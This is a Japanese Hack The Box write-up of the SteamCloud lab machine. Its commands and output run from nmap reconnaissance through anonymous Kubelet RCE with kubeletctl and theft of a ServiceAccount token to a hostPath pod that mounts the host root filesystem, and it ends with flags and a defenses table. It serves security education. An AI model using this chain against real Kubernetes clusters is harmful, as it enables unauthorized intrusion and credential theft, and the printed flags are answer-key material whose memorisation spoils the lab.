Hack The BoxのWriteup(SteamCloud)[Easy]

※本サイトはアフィリエイト広告を利用しています。
広告

HackTheBox: SteamCloud — 全実行コマンド・実行結果レポート
Nmap スキャン
22/80/2380/8443/10249/10250/10256
→
Kubelet API (10250)
認証なしでPod一覧取得
→
kubeletctl exec
nginx PodへRCE
→
ServiceAccountトークン窃取
default:default
→
kubectl auth can-i –list
pods: get/create/list
→
悪意あるPod作成
hostPath: / を /root にマウント
→
kubeletctl exec で / を直接読取
user.txt + root.txt ✓
PHASE 1

偵察 (Reconnaissance)

全ポートスキャン

BASH
nmap -Pn -p- --min-rate 500 -T4 10.129.96.167
RESULT
PORT      STATE SERVICE
22/tcp    open  ssh
80/tcp    open  http
2380/tcp  open  etcd-server
8443/tcp  open  https-alt
10249/tcp open  unknown
10250/tcp open  unknown
10256/tcp open  unknown
🚨
2380・8443・10249・10250・10256 という組み合わせは Kubernetes クラスタの典型的なポート群 (etcd / kube-apiserver / kube-controller-manager・kube-scheduler系メトリクス / Kubelet API / kube-proxyヘルスチェック)。このマシンの本体はKubernetes(minikube)そのもの。

バージョン・スクリプトスキャン

BASH
nmap -sV -sC -p 22,80,2380,8443,10249,10250,10256 10.129.96.167
RESULT(抜粋)
22/tcp    open  ssh      OpenSSH 7.9p1 Debian 10+deb10u2
80/tcp    open  http     nginx 1.14.2
2380/tcp  open  ssl/etcd-server?
| ssl-cert: Subject: commonName=steamcloud
8443/tcp  open  ssl/http Golang net/http server
| ssl-cert: Subject: commonName=minikube/organizationName=system:masters
| Subject Alternative Name: DNS:kubernetes.default.svc.cluster.local, ...
|   {"kind":"Status",...,"message":"forbidden: User \"system:anonymous\"
       cannot get path \"/\"","reason":"Forbidden","code":403}
10250/tcp open  ssl/http Golang net/http server
| ssl-cert: Subject: commonName=steamcloud@...
ℹ️
ポート8443(kube-apiserver)は匿名ユーザー(system:anonymous)からのアクセスを Forbiddenで拒否している=RBAC自体は機能している。一方 ポート10250(Kubelet API)は別の匿名アクセス許可設定になっていないか確認する必要がある。
PHASE 2

Kubelet API 匿名アクセス — Pod一覧の取得とRCE

kubeletctl のセットアップ

BASH
curl -sL https://github.com/cyberark/kubeletctl/releases/download/v1.9/kubeletctl_linux_amd64 \
  -o /usr/local/bin/kubeletctl && chmod +x /usr/local/bin/kubeletctl
ℹ️
kubeletctl はKubeletの読み取り専用ポート(10255)や、認証を要求しないよう誤設定された ポート10250に対して、匿名でPod一覧取得・コンテナへのコマンド実行(RCE)を行うための専用ツール。

認証なしでPod一覧を取得

BASH
kubeletctl --server 10.129.96.167 pods
RESULT
┌───┬────────────────────────────┬─────────────┬────────────────┐
│   │ POD                        │ NAMESPACE    │ CONTAINERS      │
├───┼────────────────────────────┼─────────────┼────────────────┤
│ 1 │ etcd-steamcloud             │ kube-system  │ etcd            │
│ 2 │ kube-apiserver-steamcloud   │ kube-system  │ kube-apiserver  │
│ 3 │ coredns-78fcd69978-46hsn    │ kube-system  │ coredns         │
│ 4 │ kube-proxy-fvvnh            │ kube-system  │ kube-proxy      │
│ 5 │ nginx                      │ default      │ nginx           │
│ 6 │ kube-controller-manager-... │ kube-system  │ ...             │
│ 7 │ kube-scheduler-steamcloud   │ kube-system  │ ...             │
│ 8 │ storage-provisioner         │ kube-system  │ ...             │
└───┴────────────────────────────┴─────────────┴────────────────┘
🚨
Kubelet (10250) が未認証アクセスを許可している(--anonymous-auth=true かつ --authorization-mode=AlwaysAllow 相当の誤設定)。kube-system名前空間の 制御プレーンPod群に加え、default名前空間に通常のアプリPod nginx が存在する。

RCE可能なPodをスキャン

BASH
kubeletctl --server 10.129.96.167 scan rce
RESULT
│ POD                   │ NAMESPACE │ CONTAINERS │ RCE │
│ etcd-steamcloud       │ kube-system │ etcd      │ -   │
│ kube-apiserver-...    │ kube-system │ ...       │ -   │
│ nginx                 │ default    │ nginx     │ +   │
│ kube-proxy-fvvnh      │ kube-system │ kube-proxy│ +   │
✅
nginx Podが kubeletctl exec によるコマンド実行(RCE)可能と判定された。 制御プレーンの各Pod(etcd, kube-apiserver等)はRCE不可(-)だが、一般アプリPodである nginx は攻撃者視点で最初の足掛かりとして十分。
PHASE 3

ServiceAccountトークンの窃取 & K8s API権限確認

nginx Pod内のServiceAccountトークンを読み取る

BASH
kubeletctl --server 10.129.96.167 exec \
  "cat /var/run/secrets/kubernetes.io/serviceaccount/token" -p nginx -c nginx
RESULT
eyJhbGciOiJSUzI1NiIsImtpZCI6...(JWT本体、"sub":
"system:serviceaccount:default:default" を含む)
ℹ️
TLS検証用のCA証明書も同じ方法でPod内から読み取る。kubectl からhttps://TARGET:8443 (Kubernetes APIサーバー)へアクセスするために、トークンとCA証明書の両方が必要。

奪取したトークンの権限を確認

BASH
kubectl --token="$(cat sa_token.txt)" --certificate-authority=ca.crt \
  --server=https://10.129.96.167:8443 auth can-i --list
RESULT(抜粋)
Resources   Verbs
pods        [get create list]
🚨
既定の default ServiceAccount(nginx Podに自動マウントされていた)に pods: get/create/list 権限が付与されている。 delete権限は無いため既存Podの削除はできないが、 新規Podを自由に作成できる時点で権限昇格に十分な権限が揃っている。
PHASE 4

hostPathマウントによる特権Podの作成

ホストのルートファイルシステムを丸ごとマウントするPod定義

YAML (nginxt.yaml)
apiVersion: v1
kind: Pod
metadata:
  name: nginxt
  namespace: default
spec:
  containers:
  - name: nginxt
    image: nginx:1.14.2
    volumeMounts:
    - mountPath: /root
      name: mount-root-into-mnt
  volumes:
  - name: mount-root-into-mnt
    hostPath:
      path: /            # ← ホストの "/" を丸ごとマウント
  automountServiceAccountToken: true
  hostNetwork: true
🚨
pods: create 権限さえあれば、hostPathボリュームで ワーカーノード(=このマシン自体)のルートファイルシステム全体をコンテナ内の 任意パスへマウントできてしまう。PodSecurityPolicy/PodSecurityAdmission等で hostPathを制限していないと、この一発でコンテナエスケープが成立しコンテナの 隔離が無意味になる。

Podを作成し、Running状態になるまで待機

BASH
kubectl --token="$(cat sa_token.txt)" --certificate-authority=ca.crt \
  --server=https://10.129.96.167:8443 apply -f nginxt.yaml

kubectl --token="$(cat sa_token.txt)" --certificate-authority=ca.crt \
  --server=https://10.129.96.167:8443 get pods
RESULT
pod/nginxt created

NAME     READY   STATUS    RESTARTS   AGE
nginx    1/1     Running   0          34m
nginxt   1/1     Running   0          16s
ℹ️
Pod作成直後はContainerCreating状態のため、数秒〜数十秒ほど待ってから Runningへ遷移したことを確認する。
⚠️
実機でのハマりポイント: hostNetwork: true を指定したPodはホストの ネットワーク名前空間をそのまま使うため、同じノード上で既に別のhostNetwork: trueな nginxコンテナ(=自分が以前作った悪意あるPod)が稼働中だと、ポート80の競合で新しい方が CrashLoopBackOffになる。delete権限が無いため掃除もできない。 同名のPodが既にRunningであれば、新しく作り直さずそのまま再利用すればよい。
PHASE 5

ホストファイルシステムから両フラグを直接取得

user.txt取得

BASH
kubeletctl --server 10.129.96.167 exec \
  "cat /root/home/user/user.txt" -p nginxt -c nginxt
RESULT
48581ad8000e12d4bdfd56d62007d1e0
user.txt — /home/user (ホスト側)
48581ad8000e12d4bdfd56d62007d1e0

root.txt取得

BASH
kubeletctl --server 10.129.96.167 exec \
  "cat /root/root/root.txt" -p nginxt -c nginxt
RESULT
0c4e783fd533106943ec840cf51fe736
✅
コンテナ内の /root/ はマウントした ホストの / そのものなので、 /root/root/root.txt は実際にはホストの /root/root.txt を指す。 SSHログインすら不要で、Pod作成と kubeletctl exec だけでホストのroot権限と 同等のファイルアクセスを獲得できている。
root.txt — ホストファイルシステム直接読み取り
0c4e783fd533106943ec840cf51fe736
SUMMARY

攻略サマリー & 教訓

取得フラグ

user.txt
48581ad8000e12d4bdfd56d62007d1e0
root.txt
0c4e783fd533106943ec840cf51fe736

使用した脆弱性

脆弱性 対象 影響 深刻度 利用方法
Kubelet匿名アクセス Kubelet API (10250/tcp) 未認証でのPod一覧取得・コンテナ内コマンド実行(RCE) Critical --anonymous-auth/--authorization-modeの誤設定により認証なしでkubeletctl execが成功
デフォルトServiceAccountの過剰権限 default名前空間のdefault SA 任意Podの作成(create権限) High nginx Pod内に自動マウントされたトークンでKubernetes APIサーバーへ直接認証
hostPathボリュームによるコンテナエスケープ Kubernetes Pod仕様(PodSecurity制限なし) ワーカーノードのルートファイルシステムへの完全アクセス Critical hostPath: {path: "/"}を任意コンテナにマウントし実質的にホストroot権限相当のファイルアクセスを獲得

攻撃チェーン全体の流れ

#フェーズ技術取得情報
1偵察nmap全ポートスキャンKubernetes特有のポート群(2380/8443/10249/10250/10256)を検出
2Kubelet悪用kubeletctl pods / scan rcedefault名前空間のnginx PodがRCE可能と判明
3資格情報窃取kubeletctl exec でSAトークン+CA証明書を読取Kubernetes API(8443)への認証情報
4権限昇格(クラスタ内)kubectl apply で hostPath Pod作成ワーカーノードのルートファイルシステムへのアクセス
5フラグ取得kubeletctl exec で /root 配下を直接catuser.txt + root.txt(SSH不要)

学んだ教訓 & 防御策

問題点防御策
Kubelet API (10250) が匿名アクセスを許可している Kubelet起動オプションで --anonymous-auth=false を設定し、--authorization-mode=Webhook でRBAC連携を有効化する。
一般アプリPod(nginx)のデフォルトServiceAccountに不要なpods: create権限が付与されている アプリケーションPodには専用の最小権限ServiceAccountを割り当て、不要であればautomountServiceAccountToken: falseでトークン自動マウント自体を無効化する。
一般ユーザーが作成するPodの仕様にhostPathボリュームの使用制限が無い Pod Security Admission(restrictedプロファイル)やOPA/Gatekeeper等のポリシーエンジンでhostPathボリュームの使用自体を禁止する。
ServiceAccountトークンがコンテナ内に平文ファイルとしてマウントされ、RCEで即座に読み取り可能 Kubernetes 1.22+のBoundServiceAccountToken(有効期限・Audience制限付き)を活用し、不要なPodへのトークン自動マウントを止める。
HackTheBox: SteamCloud | 完全攻略レポート